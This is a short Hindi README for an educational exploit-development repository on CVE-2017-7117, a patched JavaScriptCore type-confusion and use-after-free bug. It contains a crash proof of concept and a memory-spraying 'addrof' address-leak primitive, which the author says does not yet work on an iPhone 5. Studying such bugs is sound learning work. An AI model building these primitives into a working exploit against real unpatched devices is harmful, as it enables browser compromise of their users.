
शैक्षिक एक्सप्लॉइट CVE-2017-7117 के लिए, जो iOS 10.3.4 JavaScriptCore में एक टाइप-कन्फ्यूजन और यूज़-आफ्टर-फ्री भेद्यता है, जो मेमोरी स्प्रेइंग और एड्रेस लीक तकनीकों का प्रदर्शन करता है।
iOS 10.3.4 और उससे पहले के संस्करणों तथा Safari 11.0 से पहले के संस्करणों में पाया गया एक type-confusion और UAF (use-after-free) दोष।
CVE-2017-7117: mitre.org
@lokihardt द्वारा खोजा गया, स्रोत: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
उपरोक्त कोड चलाने से JSC क्रैश हो जाएगा।
हम एक बड़ा array arr बनाते हैं, जिसे देखकर JIT कंपाइलर भ्रमित होकर इसे एक string समझने लगेगा।
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
जब i का संदर्भ खो जाता है, तब हम मूल array arr तक पहुँच बनाए रखते हैं और अंतर्निहित मेमोरी को पढ़ सकते हैं।
एक ज्ञात मान से स्प्रे करके हम इसे ढूँढ सकते हैं और ऊपर की ओर बढ़ते हुए किसी भी ऑब्जेक्ट के pointer का पता लगा सकते हैं।
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
मानों तक मेमोरी में Uint32Array के माध्यम से पहुँचा जाता है, पहले निचले बिट्स, फिर ऊपरी बिट्स।
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
आप describe() का उपयोग करके address की वैधता सत्यापित कर सकते हैं।
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
वर्तमान में परीक्षण किया गया:
iPhone 5, iOS 10.3.4 पर (अभी तक) काम नहीं करता। आइए जानें क्यों ...
यह रिपॉज़िटरी एक शैक्षिक संसाधन के रूप में प्रदान की गई है, जो एक्सप्लॉइट डेवलपमेंट में मेरी सीख को ट्रैक करती है। इस CVE को 7 वर्षों से अधिक समय पहले पैच किया जा चुका है। स्पष्ट रूप से, इसका उपयोग दुर्भावनापूर्ण उद्देश्यों के लिए न करें।